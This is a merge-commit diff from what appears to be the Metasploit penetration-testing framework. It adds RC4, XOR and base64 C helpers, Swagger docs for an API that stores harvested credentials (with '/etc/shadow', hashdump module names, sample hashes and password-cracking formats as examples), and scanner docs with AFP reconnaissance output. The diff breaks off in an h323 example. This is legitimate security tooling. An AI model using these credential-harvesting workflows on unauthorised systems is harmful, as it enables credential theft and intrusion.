Merge branch 'master' into conform_to_api_standards
commit
eccd223a3e
|
@ -120,7 +120,7 @@ GEM
|
|||
crass (1.0.4)
|
||||
daemons (1.2.6)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.1)
|
||||
dnsruby (1.61.2)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
|
@ -349,7 +349,7 @@ GEM
|
|||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.14)
|
||||
yard (0.9.15)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
|
@ -6,6 +6,8 @@
|
|||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
|
@ -104,6 +106,7 @@ typedef void* LPCVOID;
|
|||
typedef ULONG_PTR DWORD_PTR;
|
||||
typedef void* HWND;
|
||||
typedef int BOOL;
|
||||
typedef int bool;
|
||||
typedef BOOL* PBOOL;
|
||||
typedef LONG_PTR LRESULT;
|
||||
typedef UINT_PTR WPARAM;
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
void xor(char* dest, char* src, char key, int len) {
|
||||
for (int i = 0; i < len; i++) {
|
||||
char c = src[i] ^ key;
|
||||
dest[i] = c;
|
||||
}
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -5,34 +5,105 @@ module CredentialApiDoc
|
|||
include Swagger::Blocks
|
||||
|
||||
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
|
||||
ORIGIN_TYPE = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
ORIGIN_TYPE_DESC = 'The class name within Metasploit::Credential that indicates where this credential came from.'
|
||||
PRIVATE_ID_DESC = 'The ID of the Metasploit::Credential::Private record associated with this credential.'
|
||||
PUBLIC_ID_DESC = 'The ID of the Metasploit::Credential::Public record associated with this credential.'
|
||||
REALM_ID_DESC = 'The ID of the Metasploit::Credential::Realm from where the credential was gathered.'
|
||||
LOGINS_COUNT_DESC = 'The number of successful login attempts that were completed using this credential.'
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
ADDRESS_DESC = 'The IP address of the host this credential was collected from.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
SERVICE_NAME_DESC = 'The name of the service from which this credential was collected from.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
PORT_DESC = 'The port on which the service was listening where this credential was collected from.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
MODULE_FULLNAME_DESC = 'The full name of the Metasploit module that was used to collect this credential.'
|
||||
MODULE_FULLNAME_EXAMPLE = 'auxiliary/scanner/smb/smb_login'
|
||||
FILENAME_DESC = 'The filename of the file that was imported. This is necessary when the origin_type is import.'
|
||||
FILENAME_EXAMPLE = '/etc/shadow'
|
||||
POST_REFERENCE_NAME_DESC = 'The reference name of the Metasploit Post module used to collect this credential.'
|
||||
POST_REFERENCE_NAME_EXAMPLE = 'post/linux/gather/hashdump'
|
||||
SESSION_ID_DESC = 'The ID of the session where this credential was collected from.'
|
||||
USERNAME_DESC = 'The username for this credential.'
|
||||
USERNAME_EXAMPLE = 'administrator'
|
||||
PUBLIC_TYPE_DESC = 'The type of username that this falls into. This is used for searching for similar credentials.'
|
||||
PRIVATE_TYPE_DESC = 'The type of password data for this credential.'
|
||||
DATA_DESC = 'The private data for this credential. The semantic meaning of this data varies based on the type.'
|
||||
DATA_EXAMPLE = "'password123', '$1$5nfRD/bA$y7ZZD0NimJTbX9FtvhHJX1', or '$NT$7f8fe03093cc84b267b109625f6bbf4b'"
|
||||
JTR_FORMAT_DESC = 'Comma-separated list of the formats for John the ripper to use to try and crack this.'
|
||||
JTR_FORMAT_EXAMPLE = 'md5,des,bsdi,crypt'
|
||||
PUBLIC_TYPE_ENUM = [ 'Metasploit::Credential::BlankUsername', 'Metasploit::Credential::Username' ]
|
||||
PRIVATE_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::ReplayableHash',
|
||||
'Metasploit::Credential::NonreplayableHash',
|
||||
'Metasploit::Credential::NTLMHash',
|
||||
'Metasploit::Credential::Password',
|
||||
'Metasploit::Credential::PasswordHash',
|
||||
'Metasploit::Credential::SSHKey',
|
||||
'Metasploit::Credential::PostgresMD5',
|
||||
'Metasploit::Credential::BlankPassword'
|
||||
]
|
||||
PRIVATE_TYPE_ENUM = [
|
||||
'password',
|
||||
'ssh_key',
|
||||
'ntlm_hash',
|
||||
'postgres_md5',
|
||||
'nonreplayable_hash',
|
||||
'<blank>'
|
||||
]
|
||||
ORIGIN_TYPE_CLASS_ENUM = [
|
||||
'Metasploit::Credential::Origin::Import',
|
||||
'Metasploit::Credential::Origin::Manual',
|
||||
'Metasploit::Credential::Origin::Service',
|
||||
'Metasploit::Credential::Origin::Session'
|
||||
]
|
||||
ORIGIN_TYPE_ENUM = [
|
||||
'import',
|
||||
'manual',
|
||||
'service',
|
||||
'session'
|
||||
]
|
||||
|
||||
|
||||
# Swagger documentation for Credential model
|
||||
swagger_schema :Credential do
|
||||
key :required, [:origin_id]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE, enum: ORIGIN_TYPE_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
|
||||
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
|
||||
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
|
||||
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
|
||||
property :logins do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
property :public, '$ref': :Public
|
||||
property :private, '$ref': :Private
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Public do
|
||||
key :required, [:username, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_schema :Private do
|
||||
key :required, [:data, :type]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
@ -46,13 +117,10 @@ module CredentialApiDoc
|
|||
parameter :workspace
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :required, true
|
||||
schema do
|
||||
property :svcs do
|
||||
key :in, :body
|
||||
key :in, :query
|
||||
key :name, :svcs
|
||||
key :description, 'Only return credentials of the specified service.'
|
||||
key :example, ['ssh', 'owa', 'smb']
|
||||
key :type, :array
|
||||
key :required, false
|
||||
items do
|
||||
|
@ -60,29 +128,32 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
property :ptype do
|
||||
key :in, :body
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :type
|
||||
key :description, 'The type of credential to return.'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, ['password','ntlm','hash']
|
||||
key :enum, PRIVATE_TYPE_CLASS_ENUM
|
||||
end
|
||||
|
||||
property :user do
|
||||
key :in, :body
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :user
|
||||
key :description, 'Only return credentials where the user matches this regex.'
|
||||
key :example, 'administrator'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
|
||||
property :pass do
|
||||
key :in, :body
|
||||
parameter do
|
||||
key :in, :query
|
||||
key :name, :pass
|
||||
key :description, 'Only return credentials where the password matches this regex.'
|
||||
key :example, 'password123'
|
||||
key :type, :string
|
||||
key :required, false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns credential data.'
|
||||
|
@ -106,7 +177,20 @@ module CredentialApiDoc
|
|||
key :description, 'The attributes to assign to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
|
||||
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
|
||||
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_ENUM
|
||||
property :module_fullname, type: :string, description: MODULE_FULLNAME_DESC, example: MODULE_FULLNAME_EXAMPLE
|
||||
property :filename, type: :string, description: FILENAME_DESC, example: FILENAME_EXAMPLE
|
||||
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
|
||||
property :post_reference_name, type: :string, description: POST_REFERENCE_NAME_DESC, example: POST_REFERENCE_NAME_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -119,31 +203,28 @@ module CredentialApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# # Swagger documentation for /api/v1/credentials/ DELETE
|
||||
# operation :delete do
|
||||
# key :description, 'Delete the specified credentials.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :delete_opts
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
# Swagger documentation for /api/v1/credentials/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified credentials.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
# swagger_path '/api/v1/credentials/:id' do
|
||||
# # Swagger documentation for api/v1/credentials/:id GET
|
||||
swagger_path '/api/v1/credentials/{id}' do
|
||||
# Swagger documentation for api/v1/credentials/:id GET
|
||||
# TODO: Uncomment below when this endpoint is implemented.
|
||||
# operation :get do
|
||||
# key :description, 'Return credentials that are stored in the database.'
|
||||
# key :tags, [ 'credential' ]
|
||||
|
@ -155,14 +236,14 @@ module CredentialApiDoc
|
|||
# parameter do
|
||||
# key :name, :id
|
||||
# key :in, :path
|
||||
# key :description, 'ID of credential to retrieve'
|
||||
# key :description, 'ID of credential to retrieve.'
|
||||
# key :required, true
|
||||
# key :type, :integer
|
||||
# key :format, :int32
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Returns credential data'
|
||||
# key :description, 'Returns credential data.'
|
||||
# schema do
|
||||
# key :type, :array
|
||||
# items do
|
||||
|
@ -172,32 +253,30 @@ module CredentialApiDoc
|
|||
# end
|
||||
# end
|
||||
|
||||
# This endpoint is NYI.
|
||||
#
|
||||
#Swagger documentation for /api/v1/credentials/:id PUT
|
||||
# operation :put do
|
||||
# key :description, 'Update the attributes an existing credential.'
|
||||
# key :tags, [ 'credential' ]
|
||||
#
|
||||
# parameter :update_id
|
||||
#
|
||||
# parameter do
|
||||
# key :in, :body
|
||||
# key :name, :body
|
||||
# key :description, 'The updated attributes to overwrite to the credential'
|
||||
# key :required, true
|
||||
# schema do
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation'
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Credential
|
||||
# end
|
||||
# end
|
||||
# end
|
||||
#end
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing credential.'
|
||||
key :tags, [ 'credential' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the credential.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Credential
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,141 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module LoginApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
|
||||
CORE_DESC = 'The Metasploit::Credential::Core object that corresponds to the credential pair this login attempt used.'
|
||||
SERVICE_ID_DESC = 'The ID of the service object that this login was attempted against.'
|
||||
ACCESS_LEVEL_DESC = 'A free-form text field that can be used to annotate the access level of this login.'
|
||||
ACCESS_LEVEL_EXAMPLE = "'admin', 'sudoer', or 'user'"
|
||||
STATUS_DESC = 'The result of the login attempt.'
|
||||
LAST_ATTEMPTED_AT_DESC = 'The date and time the login attempt occurred.'
|
||||
SERVICE_NAME_DESC = 'The name of the service that the login was attempted against.'
|
||||
SERVICE_NAME_EXAMPLE = 'ssh'
|
||||
ADDRESS_DESC = 'The IP address of the host/service this login was attempted against.'
|
||||
ADDRESS_EXAMPLE = '127.0.0.1'
|
||||
PORT_DESC = 'The port the service was listening on.'
|
||||
PORT_EXAMPLE = '22'
|
||||
PROTOCOL_DESC = 'The protocol the service was using.'
|
||||
PROTOCOL_ENUM = [ 'tcp', 'udp' ]
|
||||
# Values from lib/metasploit/model/login/status.rb in the metasploit-model repo
|
||||
STATUS_ENUM = [
|
||||
'Denied Access',
|
||||
'Disabled',
|
||||
'Incorrect',
|
||||
'Locked Out',
|
||||
'No Auth Required',
|
||||
'Successful',
|
||||
'Unable to Connect',
|
||||
'Untried'
|
||||
]
|
||||
|
||||
# Swagger documentation for Login model
|
||||
swagger_schema :Login do
|
||||
key :required, [:address, :name]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
|
||||
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
|
||||
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins' do
|
||||
# Swagger documentation for /api/v1/logins GET
|
||||
operation :get do
|
||||
key :description, 'Return logins that are stored in the database.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns login data.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins POST
|
||||
operation :post do
|
||||
key :description, 'Create a login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
|
||||
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
|
||||
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
|
||||
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
|
||||
property :service_name, type: :string, description: SERVICE_NAME_DESC, example: SERVICE_NAME_EXAMPLE
|
||||
property :port, type: :int32, format: :int32, description: PORT_DESC, example: PORT_EXAMPLE
|
||||
property :protocol, type: :string, description: PROTOCOL_DESC, enum: PROTOCOL_ENUM
|
||||
property :status, type: :string, required: true, description: STATUS_DESC, enum: STATUS_ENUM
|
||||
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/logins/ DELETE
|
||||
operation :delete do
|
||||
key :description, 'Delete the specified logins.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :delete_opts
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/logins/{id}' do
|
||||
# Swagger documentation for /api/v1/logins/:id PUT
|
||||
operation :put do
|
||||
key :description, 'Update the attributes an existing login.'
|
||||
key :tags, [ 'login' ]
|
||||
|
||||
parameter :update_id
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The updated attributes to overwrite to the login.'
|
||||
key :required, true
|
||||
schema do
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
schema do
|
||||
key :type, :object
|
||||
key :'$ref', :Login
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -35,6 +35,7 @@ module RootApiDoc
|
|||
tag name: 'event', description: 'Event operations.'
|
||||
tag name: 'exploit', description: 'Exploit operations.'
|
||||
tag name: 'host', description: 'Host operations.'
|
||||
tag name: 'login', description: 'Login operations.'
|
||||
tag name: 'loot', description: 'Loot operations.'
|
||||
tag name: 'msf', description: 'Utility operations around Metasploit Framework.'
|
||||
tag name: 'nmap', description: 'Nmap operations.'
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apple Filing Protocol (AFP) is Apple's file sharing protocol similar to SMB, and NFS. This module will gather information about the service.
|
||||
Netatalk is a Linux implementation of AFP.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [missingreadme.wordpress.com](https://missingreadme.wordpress.com/2010/05/08/how-to-set-up-afp-filesharing-on-ubuntu/):
|
||||
|
||||
1. `sudo apt-get install netatalk`
|
||||
2. edit `/etc/default/netatalk` and add the following lines:
|
||||
```
|
||||
ATALKD_RUN=no
|
||||
PAPD_RUN=no
|
||||
CNID_METAD_RUN=yes
|
||||
AFPD_RUN=yes
|
||||
TIMELORD_RUN=no
|
||||
A2BOOT_RUN=no
|
||||
```
|
||||
3. Restart the service: `sudo /etc/init.d/netatalk restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure afp (or netatalk in a Linux environment)
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/afp/afp_server_info`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/acpp/login) > use auxiliary/scanner/afp/afp_server_info
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/afp/afp_server_info) > run
|
||||
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1 Scanning...
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548:548 AFP:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Flags:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Super Client: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UUIDs: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * UTF8 Server Name: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Open Directory: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Reconnect: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Notifications: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * TCP/IP: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Signature: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Server Messages: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Saving Prohibited: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Password Changing: false
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * Copy File: true
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Machine Type: Netatalk2.2.5
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
|
||||
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
|
||||
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,16 @@
|
|||
## Intro
|
||||
|
||||
This module scans for h.323 servers and determines the version and information about the server.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
|
||||
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/h323/h323_version) > run
|
||||
|
||||
